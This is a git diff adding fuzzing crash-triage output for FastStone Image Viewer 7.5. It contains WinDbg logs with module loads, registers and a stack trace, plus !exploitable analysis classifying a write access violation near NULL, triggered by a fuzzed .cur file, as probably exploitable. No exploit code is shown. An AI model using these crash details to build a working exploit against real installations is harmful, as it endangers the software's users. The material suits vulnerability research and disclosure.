+ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(320.1848): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f27b19 edx=00000000 esi=00000000 edi=09382fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.496587200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.15874e-015 2.39134e+033 -100.546 -2.89265e+019 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a0000 89eb1eaa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6299 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..8a8fab8 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x320: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x320: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(320.1848): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07f27b19 edx=00000000 esi=00000000 edi=09382fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.755120800610796640000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.496587200000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-4.15874e-015 2.39134e+033 -100.546 -2.89265e+019 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08008130 07f85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003a0000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003a0000 89eb1eaa 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6299 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003a0000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..01a146f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/57342/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..3d7f83d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/59280/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1304: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1304: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 